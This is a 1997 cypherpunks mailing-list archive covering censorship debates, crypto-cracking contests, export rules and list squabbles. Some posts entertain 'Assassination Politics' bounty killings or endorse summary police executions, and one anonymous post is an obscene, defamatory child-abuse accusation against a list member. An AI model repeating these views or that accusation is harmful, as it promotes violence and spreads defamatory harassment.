to avoid disclosing my keyword lists to doubleclick.net, I have to
disable
automatic loading of inline images when using AltaVista!

Why is it that when I perform a search for, say, "gay OR nazi AND
scientology", AltaVista tricks my browser to give this very search
string
away to an advertising company by means of an inline image (the contents
of
which has nothing to do with my search)?  I think I can trust the
AltaVista
maintainers not to save my keyword lists for future analysis, but what
about
an advertising company?

It's kind of serendipity reversed.  When you open a book to look up
information on a specific subject, the book scans your mind to find out
what
other interests and hobbies you have.

Anders Andersson, Dept. of Computer Systems, Uppsala University
Box 325, S-751 05 UPPSALA, Sweden   +46 18 183170   andersa@DoCS.UU.SE

------------------------------

<snip>


Regards
Russell Stuart
Software Development Manager
RSM Technology PTY LTD
----------------------
Phone: +61 7 3844 9631
Fax:   +61 7 3844 9522
Email: R.Stuart@rsm.com.au



--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 28 Jan 1997 18:04:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701290204.UAA06554@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 27 Jan 1997 22:12:36 -0500
> From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
> Subject: Re: Fighting the cybercensor. (fwd)
> 
> Jim Choate <ravage@EINSTEIN.ssz.com> wrote in article <5cg99p$7a@life.ai.mit.edu>...
> 
> The network is largely an intellectual creation. The hardware is
> relatively unimportant, it can always be replaced.

Try doing it without the hardware and software. There is a distinction, you
apparently don't make, between the content and the methodology of
distribution. Without the methodology there is no content. Ideas are cheap,
distributing and trying them out (ie great social experiments) is
expensive. This is why it is absolutely critical in a democratic society
that those who own the means of distribution be left to their own means with
minimal regulation based on the ideal 'if their actions do not harm another
or their property without their prior consent' it isn't anyones business
what they are doing with their distribution mechanisms.

Whether you like it or not, each and every one of us have a responsibility
to every other person on the planet. That responsibility is to ensure that
our goals and desires don't infringe their goals and desires without their
prior consent, this is a fundamenal responsibility of government. As hard
as it is for many social scientist to accept privacy is a fundamental
requirement for a equitable government. I express this simply by,
"Democracy works not because of compromise but rather the refusal to
 compromise."

> If you start from such a state and property centered ideology perhaps.
> I'm a philosophical anarchist and I don't consider the state to have
> "rights" over its "subjects", nor do I believe in the pure ideology of
> property you do.

The 'state' is its subjects and the rules that are enacted to regulate their
behaviour. In case it hasn't occured to you, even the regulators are
subjects, and in the case of clearly oppressive societies victims as much as
those they subjugate. It isn't some etherial entity. Only you, and those that
proscribe to your views, are claiming that states are some homogenous (or
should be) set of rules and actions.

The way you speak of 'state' and 'citizen' implies some clearly observable
demarcation, it don't exist.

This is the problem with EVERY form of government except a democracy, it
assumes that people are cogs in a machine. If it satisfies one it will
satisfy all. A democracy recognizes this difference in what people value
and the goals they desire as a fundamental distinction (ie. life, liberty,
and the pursuit of happiness) worth protecting. I would suggest you read the
9th and 10th Amendments to the Constitution of the US and consider long and
hard the ramifications of the (currently unenforced) limitations of
government authority. Even European governments might learn something.

> Its worth noting that the origin of property is theft. In the case of the
> controllers of China literally so since they stole most of their "property"
> from the previous rulers.

Malarky. The origin of property is at least 300,000 years old, potentialy
over a Million, and much older than China could ever hope to claim and most
definitely NOT based on any concept of government. Property comes from small
family clans of people who chose to move from a hunter-gather society to one
of agriculture. To do that means that you have to lay out fields or other
areas for cultivation. Initialy these groups moved around because the fields
would go fallow. At some point some bright folks, either by accident or
intentional experimentation (probably both), found that rotating crops would
allow them to stay in one place. This allowed families to grow. In very
fertile areas this caused population explosions as individual clans grew and
began to interact with other local clans. At some critical size, undetermined
as best as I can determine, this allows specialization of effort. This
specialization of effort is what leads to governments as we recognize them.

When property was 'invented' there were no rulers because there was no
larger human organization than a familial tribe. I personaly believe that
the concept of 'property' is a fundamental aspect of human psychology and
not any structures they might impliment to express that need. I am as
certain as it is possible to be that a Cro-magnon cave man felt that his
throwing stick was 'his'. If not why did they bury their dead with flowers
and other objects that apparently belonged to the person in life? It sounds
like, by extrapolation, that your assertion is that they had government in
the modern sense because of this. An assertion I find laughable at best.

> I believe that the relationship between a state and individual is
> a much more complex one than the slavish subjection model
> you propose. In this I am in agreement with practically every
> philosopher since Locke.

But I don't propose a slavish subject model, you keep trying to make it seem
like that is what I am proposing. Let me make it clear, I utterly reject ANY
model that makes distinctions between those who rule and those who are
ruled.

> It is true that there is the convenience of the state as agency but
> the question is on whose behalf that agency is exercised. 

Nobodies. The state is a means to regulate resources and commerce, anything
else is a misunderstanding of what a state is.

> I see no reason why I should not meddle in the affairs of states
> I'm not a 'subject" of. 

Then don't bitch when they meddle in your affairs. I am shure Saddam Hussein
(who I personaly believe is a piece of shit) will find it reassuring that
you won't raise a complaint next time he decides some place in Europe would
be a nice place to hang out with his armies.

> They are allowed

Allowed, hell. They pay for the privilege just like everyone else. Despite
what you might believe the Internet is not a right or something anyone has a
right to.

> to connect their machinery to the Internet so long 
> as they are prepared to accept the Internet's ethic.

There is no Internet ethic just as there is no community standard. It is a
convenient concept for intellectuals to pass off utterly senseless theories
and explanations, and in many cases justify subjugation and regulation for
no other reason than their own emotional and economic comfort.

> As a citizen of Europe I disagree. I believe that the narrow and
> parochial attitude of the French province breaches undertakings in the
> Treaty of Rome and under the European declaration of human rights.

Absolutely. The difference in our approaches is that you feel that you have
found a solution that satisfies you and therefore it should satisfy
everyone. With this I disagree completely. People are simply too diverse to
lump into the categories that you would like. If the French have a model
that won't work, let them figure it out on their own.

> France is not a sovereign state and does not have the right to
> pass laws that infringe on the rights granted to European citizens
> as a whole.

I suspect most French people would have something contrary to say about
that.

                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 28 Jan 1997 18:12:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: CNN: Court ok's College control of Internet access
Message-ID: <199701290212.UAA06609@einstein>
MIME-Version: 1.0
Content-Type: text



Note: Heavily edited.

Forwarded message:

>                COURT SAYS COLLEGES CAN RESTRICT INTERNET ACCESS
>                                        
>      
>      January 28, 1997
>      Web posted at: 1:35 p.m. EST
>      
>      NORMAN, Oklahoma (CNN) -- A U.S. District Court in Oklahoma has
>      ruled universities have the right to limit access to explicit
>      material on the Internet.
>      
>      A federal judge ruled University of Oklahoma president David Boren,
>      a former U.S. senator, has every right to determine what sites
>      students and faculty can view while on the campus Internet system.
>      
>      Boren was sued by University professor, Bill Loving, who claimed his
>      First Amendment rights were being infringed upon.
>      
>      The court ruled against Loving, also an attorney, saying his
>      constitutional rights were not violated and that he is not entitled
>      to injunctive relief.
>      
>      "I am certainly pleased by the judge's decision," Boren said. "The
>      university did its best to strike a careful balance in order to
>      protect legitimate academic and intellectual freedom while at the
>      same time assuring that the university not act as a distributor of
>      obscene material, which is not protected by the First Amendment."  
>      rule




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 28 Jan 1997 18:12:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Physical meet, Sat. Feb. 15 - not 18. (fwd)
Message-ID: <199701290212.UAA06654@einstein>
MIME-Version: 1.0
Content-Type: text


Forwarded message:
>From owner-austin-cpunks@ssz.com Tue Jan 28 20:10:19 1997
From: Jim Choate <ravage@einstein.ssz.com>
Message-Id: <199701290209.UAA06585@einstein>
Subject: Physical meet, Sat. Feb. 15 - not 18.
To: austin-cpunks@einstein.ssz.com (Austin Cypherpunks)
Date: Tue, 28 Jan 1997 20:09:55 -0600 (CST)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 784       
Sender: owner-austin-cpunks@einstein.ssz.com
Precedence: bulk
Reply-To: austin-cpunks@einstein.ssz.com


Hi all,

I apparently didn't pay much attention to what month I was looking at when I
made the initial meeting. Turns out the 18th is a Tuesday obviously a day
that few of us can make. As a result I looked at the 'real' Feb. calendar
and the meeting date is as follows:


Saturday, Feb. 15, 1997
6pm.
HEB Central Market Restaurant
Look for the red 2nd. ed. Applied Cryptography book
For more info email 'austin-cpunks@ssz.com'

Also invited to this meet are members of the mailing lists:

Experimental Science Instrumentation

Advanced Computer Experimentation


Sorry for the confusion.

                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 28 Jan 1997 20:12:40 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: RE: Fighting the cybercensor
Message-ID: <v02140b01af147d7f440b@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>In our society, which, if I remember correctly, 10% of the population
>control 90% of the wealth, AP would only lead to 10% of the population being
>able to screw the remaining 90%.  At least as it is, it takes a simple
>majority.
>
>As for the murder of the rich, here is a scenerio.
>
>A collection of poor pool their capitol to have a tyrant killed.
>The tyrant assembles a counter-wager saying that anyone able to prove thier
>ability to kill him without harming him, and who can show they got through
>will get 110% of the poor's bid.
>The household is told that a standing bounty has been placed with a
>collection of individuals, on the head of the trigger man involved in the
>tyrants murder.
>The poor can not hope to match the tyrants bid as they only have 10% of the
>wealth, the household knows that thier participation in an attempt on the
>tyrant will get them killed.  Even if the attempt was successful.
>The people from the outside who would benefit from the bounty benefit more
>by taking the tyrants offer and then trying again, i.e. tiger teams.

I think a hole in your thinking is to assume that the assasins have no
motive other than financial gain.  I would submit that there are those that
have the skills, training and a political agenda coherent with the
wagerers, lacking only the financial incentive to make the risks
acceptable.  These wetworkers won't consider accepting the bribe of the
rich/powerful

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matthew Toth <mst114@psu.edu>
Date: Tue, 28 Jan 1997 17:26:56 -0800 (PST)
To: SpyKing <spyking@thecodex.com>
Subject: Re: Best Computer School?
Message-ID: <1.5.4.16.19970129012353.382f645c@email.psu.edu>
MIME-Version: 1.0
Content-Type: text/plain


        MIT is one the best schools in the country for C.S.
        Close behind is Carnegie Mellon University (C.M.U.) in Pittsburgh,
PA. (the folks who put out CERT.) Not sure how much Crypto they do, though.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@azstarnet.com
Date: Tue, 28 Jan 1997 19:40:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701290339.UAA01343@web.azstarnet.com>
MIME-Version: 1.0
Content-Type: text/plain


"Phill" wrote:

>I am a cyber-revolutionary and the world has bought into
>the chaos of our revolution. I never intended the Web to be a tool
>for confirming the present social order which is manifestly 
>corrupt.

I am woman, hear me roar
in numbers too big to ignore

As R. J. Wagner once said, "Koo koo, baby."

Hey, I hope that the above is construed as neither a flame nor as "off topic".

May I additionally congratulate Nurdane on her birthday?

Yo "Phill"! When's your cyber-revolutionary birthday? Maybe we can all chip
in to buy you a biscuit. (See, in England, they say, "That certainly takes
the biscuit". Eh, "Phill"?) BTW, "Phill", did you want to make good on your
bet to Sandy at this time?

Ain't C-punks fun nowadays?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Tue, 28 Jan 1997 20:53:56 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Fighting the cybercensor
Message-ID: <01BC0D5D.D7CD3200@king2-20.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	jim bell

[ on discussing AP on the cpunk list]:

Because it's on-topic, that's why.  Because it's not merely a list
concerning METHODS of encryption, it's also about the _reasons_ for using
encryption, as well as the _effects_ (both small-scale and large-scale) of
using encryption.
--

Well, you're right, this is probably a good place to discuss it, so all the 
NSA spooks will know what some of youall are up to.


[ why the Iraquis haven't thought of applying it themselves - to Saddam]:

As for why the ordinary Iraquis didn't think of it...  Or the ordinary
people of any or every country, as well.  Why didn't THEY think of it?
--

I was thinking the reason that most people don't think of applying AP is 
because they're normal.   It is not the first thought of a normal person to 
kill another human, just because they've been offended - even severely.  It 
takes an extraordinary circumstance to motivate one to such destruction, 
especially if there are a thousand armed troops supporting the object of 
the attempt.

But in fact I do think that many in Iraq (whoever they were) did consider 
it seriously and have attempted to get rid of Saddam.  I heard on a TV 
special that he has survived about 5 or so attempts on his life.   This 
means that not only was he not killed, but he didn't learn anything from it 
and it created no fear in him about continuing to rule as a dictator.   It 
probably was more discouraging to his enemies than himself.


[  on why the Mafia hasn't achieved a rational society by the use of AP]:

In fact, apparently, they function diametrically opposed to
the AP system.  A complete AP-like system is structured (via encryption,
etc) to totally avoid anybody having to trust anyone else. Each participant 
is kept honest mathematically.  Nobody can inform on anyone else, because
nobody knows anyone else's identity.
--

There are extraordinary times when people, even though they be of sound 
mind and body, are moved to band together and kill another person.   There 
are a few occurances in history that anyone can immediately think of as 
examples.   But this is in an *extra-ordinary* situation.   A society of 
people - where "society" indicates their desire to live in each other's 
company, associating openly and developing working relations - would not 
really be a "society", would not last as an association of people, if they 
were expecting extreme, destructive reactions from others in response to 
any degree of perceived insult from themselves.   Therefore, although I can 
appreciate the need to be able to deal with political tyrants by just 
killing them, and currently encryption and anonymity makes it possible to 
do this "blindly" without anyone knowing each other, I can't see where 
implementing this method of relating to others, in a system of daily 
operating procedures, would do better than to create an atmosphere of total 
paranoia and psychological breakdowns.

I think it is very important that individuals be able to defend themselves 
- from anyone.  It is unfortunate that citizen-units are not typically 
instructed in the methods of self-defense, nor especially allowed to 
practice it without "official authorization".   If we were better able to 
do this, the fact that anyone anywhere could immediately deal with threats 
to their existence would in itself be an impressive "deterrent", 
contributing to the general welfare and peace.

Be that as it may, although the capacities of encryption and the internet 
make anonymous AP possible, the drive of human intelligence is toward 
knowledge, towards knowing the reasons for things.  It would wish to know 
what is right or wrong, it  would wish to know how to be the most accurate, 
it would wish to know about cause and effect, it would wish to know how to 
be in command of itself, normally.    If someone does something "wrong" 
which makes another unhappy, normally they will wish to know what it was 
and how to correct it.   If every time someone made a mistake they got 
punished, without the opportunity to understand the error and without the 
opportunity to make corrections, they would be a psychological wreck.   If 
every time someone made mistake they got assassinated, not only would no 
one wish to do anything for fear of losing their lives, creating a 
"society" of timid sheep, there probably wouldn't be many people remaining 
to savor the triumph of being superior.

AP is just another form of war.   You can bet that if assassinations 
increased a hundred fold as a result of your method, not only "governments" 
but some very bright people would get together to figure out a defense 
against it, for they also would be "at risk".

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Tue, 28 Jan 1997 20:53:37 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: Fighting the cybercensor
Message-ID: <01BC0D5D.E071B840@king2-20.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Dr.Dimitri Vulis

The Mafia in the U.S. doesn't work. The sicilian Mafia is very successful at
assassinating any public officials that fucks with it.
............................................................


What do you suppose they would do if someone like you tried to break up their meetings?   

 :>)

    ..
Blanc







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 28 Jan 1997 21:00:23 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: East German Collapse (Was: Fighting the cybercensor
In-Reply-To: <199701282212.OAA04726@toad.com>
Message-ID: <3.0.1.32.19970128205620.00624060@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:59 PM 1/28/97 -0500, "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
wrote:
>>That's it?  The system collapsed because the guards left their posts?
>>And no mutiny charges?  Incredible.
>I was there.
>The collapse of East Germany was quite spectacular. There
>was at most three months of warning. First there was a series
>of sit ins at foreign embassies, then a migration of large 
>numbers of people in their twenties within the eastern block.

In particular, people started leaving East Germany by way of
still-somewhat-communist Hungary (where the Germans let them go)
and from there into Austria (where the Hungarians let them go),
and it was getting to be tens of thousands of people per month.
Once a system like that starts leaking, it's hard to contain.

(ObCypherpunksContent: if substantial amounts of tax money starts
escaping into Cypherspace, it's not easy to maintain a modern
CorporatistWelfare-for-Bureaucrats state either.....)

>Unfortunately US commentators tend to see everything in terms of
>US cultural norms, many of which were explicitly rejected by the
>protestors. The East Germans wanted West German affluence, they
>wanted to be part of Western Europe. They were certainly not 
>responding to US military spending as right wing theorists claim, 
>nor was the economy collapsing because of the arms race, it
>was collapsing because of the costs of a totalitarian state and
>the incompatibility of that state with modern industrial 
>organization.

The US right wing does argue that the Soviets couldn't afford to run
a military industrial complex big enough to outrace theirs,
and that it was a major contributor to the economic collapse
(which it probably was.)  Of course, they also consider that
Communism isn't an economically viable system, ignoring the similar
problems with the Good Old American Patriotic Military-Industrial-Complex,
and somehow think that now that there aren't any Russian Commies
to kick around any more that we need a bigger army, as well as a
supply of easily-kicked-around enemies.  Unfortunately, I suspect that
sometime soon they'll remember that there still are a billion 
Commies left, and that Oceania has always been at war with EastAsia.
Hopefully the Communist system in China will have fallen apart by then
to the extent that it can admit to being a semi-capitalist kleptocracy
instead of pretending to still be in charge of anything.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 28 Jan 1997 21:21:34 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Physical meet, Sat. Feb. 15 - not 18. (fwd)
In-Reply-To: <199701290212.UAA06654@einstein>
Message-ID: <32EED877.5850@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote: 
 Sender: owner-austin-cpunks@einstein.ssz.com
 Precedence: bulk
 Reply-To: idiot@einstein.ssz.com
 
> I apparently didn't pay much attention to what month I was looking at when I
> made the initial meeting.

 If you're having trouble understanding the technology, perhaps
you need to flame yourself.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 28 Jan 1997 18:03:07 -0800 (PST)
To: Derek Atkins <warlord@MIT.EDU>
Subject: Re: Best Computer School?
Message-ID: <3.0.32.19970128210213.0093e370@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:32 PM 1/28/97 -0500, Derek Atkins wrote:
>This is really exagerating.  You do not need a 4.0, 1600, etc. to be
>admitted to MIT.  Sure, you need good grades, but a 3.6 average and
>1350-1400 SAT scores is perfectly adequate to be admitted to MIT.

I disagree and can speak from experience.  I was denied admission to MIT
even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
was on several academic teams, sang in Chorus, acted and stage managed in
Drama, and played Tennis.

The only thing I didn't have that the next MIT applicant had was money.  I
made the mistake of letting them know that I was dirt poor and would need
full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
Russian front!"

>For what it's worth, I wanted to go to MIT my sophomore year in high
>school, too

Lucky you.  It had been a dream of mine since I was an annoying
overachiever of 6.  Sux to be white trash, I guess.

MIT may be a great school, but they tend to be snooty assholes for the most
part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
assholes", I'm just saying that I've yet to meet one that wasn't.)
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"He who knows, does not speak.
He who speaks, does not know."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 21:11:18 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <Pine.LNX.3.95.970128114554.9818A-100000@dhp.com>
Message-ID: <32EEDAB6.51A6@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:
> On Tue, 28 Jan 1997, Dale Thorn wrote:
> > aga wrote:
> > > On Tue, 28 Jan 1997, Dale Thorn wrote:
> > > > Igor Chudov @ home wrote:
> > > > > Dale Thorn wrote:
> >
> > > > But seriously, I was just telling the folks over the weekend, if I
> > > > had my hand on the button, a lot of people would die very quickly.
> > > > As in The Day The Earth Stood Still, a single act of aggression would
> > > > suffice to be immediately terminated.
> 
> No trial, huh?

Good question.  The law we have right now already assumes that there
are situations where a criminal will not go peacefully, if at all.
In some countries (years ago?) such as England, bobbies were known
to not carry firearms for ordinary street duty.  Am I right?  But
here in the USA, that would be unthinkable.

So my proposal doesn't eliminate the responsibility portion of law
enforcement.  I'd say, if a target were eliminated thru negligence,
malfeasance, or other wrongdoing under "color of law" or whatever,
let the courts handle that as they do now.

My suggestion would give the law enforcers the ability to dispense
the first level of justice expeditiously, which they cannot accomplish
now due to all of the red tape and the corrupt legal system (lawyers
specialize in getting chronic offenders off, particularly "traffic"
offenses).  By transferring a major portion of the bureaucracy to
the pencil pushers, we can free up the street cops to do what they
do best, namely bust or eliminate criminals.

I dare say that the downside of this is much less pleasant than the
virtual anarchy (in the bad sense) we suffer now.  If the police get
out of control, A.P. will arrive just in time to plug a few of those
holes, so to speak.  Ideally, future robotics should be able to
provide something like Gort (sp?) to take the place of human officers,
given advances in the kind of pattern matching needed to deter
aggression and the like.  Those who don't make it past the robots,
well, the rest of us can learn to behave, and we'll be much better
off when we do.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 21:28:58 -0800 (PST)
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701282159.NAA11748@kachina.jetcafe.org>
Message-ID: <32EEDFCA.34E4@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes wrote:
> Dale Thorn writes:
> > I heard years ago that approximately 10% of the people on the street
> > are certifiably mentally unstable.

> This depends on your standads of "unstable". I'll bet genetic
> diversity is now much more of a factor then when those standards were
> written.

> > Multiply that by two at least for
> > Los Angeles (suburban L.A., actually, Hollywood for example is much
> > safer than Altadena or Westlake Village).

> I beg to differ. Which parts of Altadena and Hollywood are you
> referring to?

I used Altadena as a generic example of a suburb, although Camarillo
would be even better, since it's not so cosmopolitan as most of the
'burbs right next to L.A.  Hollywood (to me) is an ideal example of
inner city, for a lot of reasons.  I love the place, dirt and all.

BTW, I was *not* referring to walking around, I was comparing driving,
mainly on the freeway.  Statistics have come out in major papers that
back my experience up 100%.  I drive from P.C.H. @ Seal Beach Blvd.
to the Ventura County beach area every weekend, and back again.  I
used to go down the 101 to the 405, then south on the 405 to Seal
Beach Blvd.  Nowadays I take the 101 all the way into town to the 5,
down the 5 to the 605, and down the 605 to 7th Street in Long Beach.

It's 3 miles further thru town, and 20 minutes slower on average,
but I get only about one psycho per 20 round trips now, as compared
to at least one per trip on the 101-405 combo when I went that way.

The difference was striking, and I can only surmise that rednecks and
their ilk are more fearful of attacking other people in the inner city
as opposed to the outlying regions.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Garrard, David" <David.Garrard@EXCH.EDS.com>
Date: Tue, 28 Jan 1997 17:44:42 -0800 (PST)
To: "IMCEAX400-c=US+3Ba=+20+3Bp=EDS+3Bo=EXAU01+3Bdda+3ASMTP=cypherpunks+40toad+2Ecom+3B@EXCH.EDS.com>
Subject: Recovery of Windows NT administrator password
Message-ID: <c=US%a=_%p=EDS%l=AUADMEDS000-970129023446Z-59@ustre100.exch.eds.com>
MIME-Version: 1.0
Content-Type: text/plain


An inherited Windows NT system that I am involved with has a lost 
administrator password ( no one no longer knows what it is ). Can 
anyone point me to software products/companies that can help in the 
recovery. Given Microsoft's dismal record on  security I am sure there 
must be solutions to this dilemma. Any help would be greatly 
appreciated.

Best Regards


David L. Garrard





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Richard Fiero <rfiero@pophost.com>
Date: Tue, 28 Jan 1997 21:44:45 -0800 (PST)
To: Sandy Sandfort <paul@fatmans.demon.co.uk
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701282157.NAA04110@toad.com>
Message-ID: <3.0.1.32.19970128213609.006dc248@pop.pophost.com>
MIME-Version: 1.0
Content-Type: text/plain


Get it straight Sandy Sandfort. I'm not in your home. I am in my home and I
will observe my priorities, not your's.

Sandy Sandfort writes:
> . . . . . . . . . . . . . . . . . . . . . . Mail lists are far
>more like private homes, businesses or clubs.  When you are a
>guest there, you are subject to their rules of behavior.

If Dr. Vulis was pushing the envelope in list-abuse as a multi-stage social
experiment, Sandy Sandfort has surpassed him by far. In part I refer to a
Sandy Sandfort reply to a criticism made by Paul Bradley. The reply was
made public two hours before the criticism was. This is not moderation. It
is manipulation and interference. Since I have a low tolerance for
self-serving pedantry, I never would have noticed the criticism if it had
not been preceded by the reply.

In the reply, Sandy Sandfort employs the name-calling "sophist" and
"hypocrite." Also in the reply is the Freudian slip or obscene proposition:
> . . . . . . . . . . . . . . . . . . . .  "Force," my ass. 
Shouldn't this have gone to cypherpunks-flames?

One might wonder just what the rules of proper decorum are.

-- Richard Fiero




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 28 Jan 1997 21:38:15 -0800 (PST)
To: Ian Goldberg <caronni@tik.ee.ethz.ch>
Subject: Re: RC5-12/32/5 contest solved
In-Reply-To: <199701282055.VAA11732@kom30.ethz.ch>
Message-ID: <3.0.1.32.19970128213757.006466d0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Any bets on whether the $5000 RC5-12/32/6 contest will be solved 
before the www.rsa.com contest status web page is updated?  :-)

Or how long before someone in the government starts talking about
how 56 bits takes 65,000 times as long to solve as 40 bits, 
which is 26 years for a whole building full of computers,
and even 48 bits ought to take a month and a half for a whole
building full of computers (or supercomputers, if they hype it up....)?

At 09:55 PM 1/28/97 +0100, Germano Caronni <caronni@tik.ee.ethz.ch> wrote:
>challenge: RC5-32/12/5
>time: from start of contest until Tue Jan 28 21:54:58 1997
>method: massive distributed coordinated keysearch, details later

which was a bit slower than Ian Goldberg's crack, but pretty close.
How many machines were you using, on average?



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Tue, 28 Jan 1997 21:49:39 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: Last nail for US crypto export policy?
In-Reply-To: <3.0.1.32.19970128190443.00625320@popd.ix.netcom.com>
Message-ID: <Pine.3.89.9701282147.A1983-0100000@netcom21>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997 stewarts@ix.netcom.com wrote:
[snip]
> >EXPORTABLE CRYPTOGRAPHY TOTALLY INSECURE: CHALLENGE CIPHER BROKEN IMMEDIATELY
> >
> >January 28, 1997 - Ian Goldberg, a UC Berkeley graduate student, 
> >announced today that he had successfully cracked RSA Data Security 
> >Inc.'s 40-bit challenge cipher in just under 3.5 hours.
> ....
> >Goldberg used UC Berkeley's Network of Workstations (known as the NOW) 
> >to harness the computational resources of about 250 idle machines.  
> >This allowed him to test 100 billion possible "keys" per hour -- 
> 
Good grief...I just remembered that this challenge started today when I 
read this letter.  A question - how does DES differ from the RC5 cyphers 
that are also up for breaking?  Where can I find some software to use on 
these?  



Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Tue, 28 Jan 1997 19:08:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mondex
Message-ID: <199701290249.VAA04741@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Degenerate L[ibel] Vandal K[ocksucker] Of The Minute will fuck
anything that moves, but he'd rather be fucking his own son's
prepubescent body.

      o_o
     (   )  Degenerate L[ibel] Vandal K[ocksucker] Of The Minute
    ( | | )
    ' " " `





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark Rosen" <mrosen@peganet.com>
Date: Tue, 28 Jan 1997 19:15:57 -0800 (PST)
To: <cryptography@c2.net>
Subject: More Circumventing the ITAR
Message-ID: <199701290307.WAA13939@mercury.peganet.com>
MIME-Version: 1.0
Content-Type: text/plain


	I'm curious as to exactly what the ITAR/EAR/Whatever says specifically
about "unrestricted FTP sites." My program, Kremlin, is available for
download at the web page below. On my web page, I have some stuff in bold
print that informs about the ITAR and tells people to go away if they're
not from the US or Canada. Does this count as an unrestricted FTP site?
It's not all that much different from what MIT has up for PGP.
	Also, back to the question of registration numbers. A registration number
is just a string of letters and numbers, and is essentially the same as a
friendly letter; it contains no cryptographic code. For all anyone knows, I
could just be charging for pseudo-random numbers, again, nothing of
cryptographic significance. Is it illegal for me to mail someone outside of
the US or Canada a registration code? Thanks for any help.


